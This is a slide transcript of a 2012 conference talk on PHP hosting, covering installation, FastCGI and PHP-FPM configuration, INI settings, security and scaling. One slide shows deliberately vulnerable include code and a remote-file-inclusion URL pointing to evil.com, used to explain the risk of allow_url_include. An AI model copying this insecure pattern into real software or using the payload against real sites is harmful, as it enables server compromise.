+ All Categories
Home > Technology > Php through the eyes of a hoster confoo

Php through the eyes of a hoster confoo

Date post: 06-Dec-2014
Category:
Upload: combell-group
View: 2,474 times
Download: 0 times
Share this document with a friend
Description:
Slides for my talk at Confoo 2012
Popular Tags:
84
PHP through the eyes of a hoster Thijs Feryn Evangelist +32 (0)9 218 79 06 [email protected]
Transcript
Page 1: Php through the eyes of a hoster confoo

PHP  through  the  eyes  of  a  hoster

Thijs  FerynEvangelist+32  (0)9  218  79  [email protected]

Page 2: Php through the eyes of a hoster confoo

Very  excited  to  be  here  !

Page 3: Php through the eyes of a hoster confoo

THIJS

Page 4: Php through the eyes of a hoster confoo
Page 5: Php through the eyes of a hoster confoo

TAZE

Page 6: Php through the eyes of a hoster confoo

Evangelist

Page 7: Php through the eyes of a hoster confoo
Page 8: Php through the eyes of a hoster confoo
Page 9: Php through the eyes of a hoster confoo
Page 10: Php through the eyes of a hoster confoo

@ThijsFeryn

Page 11: Php through the eyes of a hoster confoo

Please  rate  my  talk  on  

Joind.in

https://joind.in/6090

Page 12: Php through the eyes of a hoster confoo
Page 13: Php through the eyes of a hoster confoo
Page 14: Php through the eyes of a hoster confoo

Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the  PHP  universe

Page 15: Php through the eyes of a hoster confoo

Stakeholders

Customer Development  company

Endusers MGMT

InternalIT

InternalPM

Devs

Sales

MGMT

QA

Design

Systeam

PM

Consultant

Hoster PHP  community

Page 16: Php through the eyes of a hoster confoo

Stakeholders

Your  app  needs  to  be  hosted

Somewhere  along  the  road  ...

Page 17: Php through the eyes of a hoster confoo

Goals  &  mo\ves

Our  goals  &  mo\ves  are  the  same  as  yours:• It  has  to  work• It  has  to  perform• It  has  to  scale• It  has  to  be  secure• It  has  to  be  available

Page 18: Php through the eyes of a hoster confoo
Page 19: Php through the eyes of a hoster confoo
Page 20: Php through the eyes of a hoster confoo
Page 21: Php through the eyes of a hoster confoo

What  about  the  Cloud?

Page 22: Php through the eyes of a hoster confoo

Chapter  II:  Installa\on  &  configura\on

Page 23: Php through the eyes of a hoster confoo

There’s  more  than  just  Apache

Page 24: Php through the eyes of a hoster confoo

Installing  from  source

server$  ./configure  -­‐-­‐with-­‐ttf  -­‐-­‐with-­‐freetype-­‐dir=/usr/lib  -­‐-­‐prefix=/data/jail/usr/local/php-­‐5.3.8  -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐with-­‐mssql  -­‐-­‐enable-­‐exif  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mhash  -­‐-­‐with-­‐curl  -­‐-­‐enable-­‐mbstring  -­‐-­‐with-­‐gettext  -­‐-­‐with-­‐zlib  -­‐-­‐enable-­‐ftp  -­‐-­‐with-­‐openssl  -­‐-­‐with-­‐xsl  -­‐-­‐with-­‐db4  -­‐-­‐with-­‐pgsql  -­‐-­‐enable-­‐calendar  -­‐-­‐enable-­‐bcmath  -­‐-­‐with-­‐bz2  -­‐-­‐with-­‐imap=/data/jail/usr/local/imap  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐pdo-­‐mysql=/usr/bin/mysql_config  -­‐-­‐with-­‐jpeg-­‐dir=/usr/lib  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐zip  -­‐-­‐with-­‐xmlrpc  -­‐-­‐enable-­‐sockets  

server$  make

server$  make  install

Page 25: Php through the eyes of a hoster confoo

Installing  using  a  package  manager  (APT/Ap\tude)

Install  PHP:

Install  MySQL  library  for  PHP:

server$  apt-­‐get  install  php5

server$  apt-­‐get  install  php5-­‐mysql

Page 26: Php through the eyes of a hoster confoo

SAPI  ...  schmapi

Mod_php FastCGI PHP-­‐FPM CLI

Web Apache  module gateway -­‐

Process Apache  process php-­‐cgi php-­‐fpm  

daemon php

Configura\on Apache  conf  files wrapper config  per  

pool on  the  fly

User Apache  user shell  user  or  suexec  user user  per  pool shell  user

Page 27: Php through the eyes of a hoster confoo

FastCGI

Example  config:• Apache  handler

   <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>

Page 28: Php through the eyes of a hoster confoo

FastCGI

Example  config:• Wrapper  script

#!/bin/shPHPRC=/usr/local/php-­‐5.3.10/etcexport  PHPRCexport  PHP_FCGI_MAX_REQUESTS=5000export  PHP_FCGI_CHILDREN=8exec  /usr/local/php-­‐5.3.10/bin/php-­‐cgi

Page 29: Php through the eyes of a hoster confoo

PHP-­‐FPM

Example  config  in  Nginx:server  {        root  /var/www;        index  index.php  index.html  index.htm;        server_name  myserver.ext;        location  /  {                        try_files  $uri  $uri/  /index.html;        }        location  ~  \.php$  {                fastcgi_split_path_info  ^(.+\.php)(/.+)$;                fastcgi_pass  127.0.0.1:9000;                fastcgi_index  index.php;                include  fastcgi_params;        }}

Page 30: Php through the eyes of a hoster confoo

PHP-­‐FPM

Example  config  in  PHP-­‐FPM  main  www  pool:[www]user  =  www-­‐datagroup  =  www-­‐datalisten  =  127.0.0.1:9000listen.owner  =  www-­‐datalisten.group  =  www-­‐datalisten.mode  =  0666listen.allowed_clients  =  127.0.0.1pm  =  dynamicpm.max_children  =  10pm.start_servers  =  4pm.min_spare_servers  =  2pm.max_spare_servers  =  6pm.max_requests  =  500

Page 31: Php through the eyes of a hoster confoo

INI  sehngs:  tales  of  good  &  evil

Page 32: Php through the eyes of a hoster confoo

INI  sehngs:  tales  of  good  &  evil

Defining  INI  sehngs:• Php.ini• Ini_set()• “-­‐d”  • php_value• php_flag• php_admin_value• php_admin_flag

Page 33: Php through the eyes of a hoster confoo

INI  sehngs:  tales  of  good  &  evil

Memory_limit:

Fatal  error:  Allowed  memory  size  of  16777216  bytes  exhausted  (tried  to  allocate  35  bytes)

Page 34: Php through the eyes of a hoster confoo
Page 35: Php through the eyes of a hoster confoo

INI  sehngs:  tales  of  good  &  evil

Safe_mode  &  Open_basedir:

<IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/website.com/httpdocs:/tmp"</IfModule>

Page 36: Php through the eyes of a hoster confoo

INI  sehngs:  tales  of  good  &  evil

Allow_url_fopen  &  allow_url_include:

<?php$lang= $_GET['lang'];require("$lang.php");

http://domain.ext/index.php?lang=http://evil.com/hack.txt?

Page 37: Php through the eyes of a hoster confoo

Chapter  III:  Versions  &  features

Page 38: Php through the eyes of a hoster confoo

PHP  4:  End  of  life,  but  far  from  dead

Page 39: Php through the eyes of a hoster confoo

PHP  4:  End  of  life,  but  not  yet  dead

Parse  error:  syntax  error,  unexpected  T_STRING,  expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR  or  '}'  in  test.php  on  line  4

Page 40: Php through the eyes of a hoster confoo

Developers  love  bling  bling

Page 41: Php through the eyes of a hoster confoo

It  HAS  to  be  PHP  5.3.10  !!!

Page 42: Php through the eyes of a hoster confoo

I  need  ALL  PHP  extension  !!!

Page 43: Php through the eyes of a hoster confoo

I  use  ALL  PHP  features  !!!

Page 44: Php through the eyes of a hoster confoo

And  then  there’s

DOT

Page 45: Php through the eyes of a hoster confoo

Fruit  &  vegetables:  PEAR  &  PECL

Page 46: Php through the eyes of a hoster confoo

Fruit  &  vegetables:  PEAR  &  PECL

PEARPHP  Extension  and  Applica\on  Repository  (h#p//pear.php.net)

server$  pear  install  date

server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php

Page 47: Php through the eyes of a hoster confoo

Fruit  &  vegetables:  PEAR  &  PECL

PECL  (pickle)PHP  Extension  Community  Library  (h#p//pecl.php.net)

server$  pecl  install  pecl_http

Page 48: Php through the eyes of a hoster confoo

Popular  frameworks  outside  the  PHP  project

External  frameworks

Page 49: Php through the eyes of a hoster confoo

Chapter  IV:  PHP  aoracts  a  crowd

Page 50: Php through the eyes of a hoster confoo

It’s  easy  !

Page 51: Php through the eyes of a hoster confoo

That  easy  !

<?phpecho "Hello world!";

Page 52: Php through the eyes of a hoster confoo

It’s  cheap  !

Page 53: Php through the eyes of a hoster confoo

It’s  stable  !

Page 54: Php through the eyes of a hoster confoo

Everyone  can  be  a  PHP  developer

Page 55: Php through the eyes of a hoster confoo

But  not  everyone  has  what  it  takes

Page 56: Php through the eyes of a hoster confoo

Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  soqware  out  there

Page 57: Php through the eyes of a hoster confoo

Who  you  gonna  call  ?

Page 58: Php through the eyes of a hoster confoo

But  when  helpers  need  help  ...

Page 59: Php through the eyes of a hoster confoo

They  reach  out  to  the  PHP  community

BlogsForums

User  Group  mee\ngs

Conferences

PHP.netTwioer

IRC

Page 60: Php through the eyes of a hoster confoo

Chapter  V:  Here  be  phpirates

Page 61: Php through the eyes of a hoster confoo

Here  be  phpirates

Page 62: Php through the eyes of a hoster confoo

Fact

“The  majority  of  hacking/absue  cases  are  PHP  related”

Page 63: Php through the eyes of a hoster confoo

False  assump\ons

“Open  source  is  evil”

“PHP  has  lots  of  security  vulnerabili\es  and  is  not  mature”

Page 64: Php through the eyes of a hoster confoo

Here  be  phpirates

The  real  issues• Quality  of  the  code• Network  &  server  security• PHP  version  &  configura\on

Page 65: Php through the eyes of a hoster confoo

Responsibili\es

Page 66: Php through the eyes of a hoster confoo

Chapter  VI:  Scalability

Page 67: Php through the eyes of a hoster confoo

Performance  ==  speed

Page 68: Php through the eyes of a hoster confoo

Scalability  ==  constant  speed  under  increasing  load

Page 69: Php through the eyes of a hoster confoo

Scaling  up

Page 70: Php through the eyes of a hoster confoo

Scaling  out

Page 71: Php through the eyes of a hoster confoo

Developers  (some2mes)  forget  ...

Page 72: Php through the eyes of a hoster confoo

Scaling  MySQL

Page 73: Php through the eyes of a hoster confoo

mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =  table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit  12,12;

***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALLpossible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALLpossible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where

Page 74: Php through the eyes of a hoster confoo

mysql>  show  processlist;+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+|  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info                                                                                        |+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+|  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show  processlist                                                                ||  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL                                                                                        ||  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT  data  from  someTable  where  field  =  'val'    ||  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT  data  from  someTable  where  field='val2'      ||  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT  data  from  someTable  where  order  by  field  ||  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT  data  from  someOtherTable                                  |+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+

Page 75: Php through the eyes of a hoster confoo

Scaling  MySQL  with  replica\on

Page 76: Php through the eyes of a hoster confoo

PHP  scalability  toolbox

Page 77: Php through the eyes of a hoster confoo
Page 78: Php through the eyes of a hoster confoo

Memcached

Page 79: Php through the eyes of a hoster confoo

Gearman

Page 80: Php through the eyes of a hoster confoo

Varnish

Page 81: Php through the eyes of a hoster confoo

Summary

Page 82: Php through the eyes of a hoster confoo

Summary

1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent  setup

3.PHP  has  a  lot  to  offer  feature-­‐wise4.PHP  aDracts  a  crowd  and  brings  a  lot  of  people  together  from  different  industries  (e.g.  hosters)

5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP  itself

6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure  scalability  via  extra  tools

Page 83: Php through the eyes of a hoster confoo
Page 84: Php through the eyes of a hoster confoo

Q&A


Recommended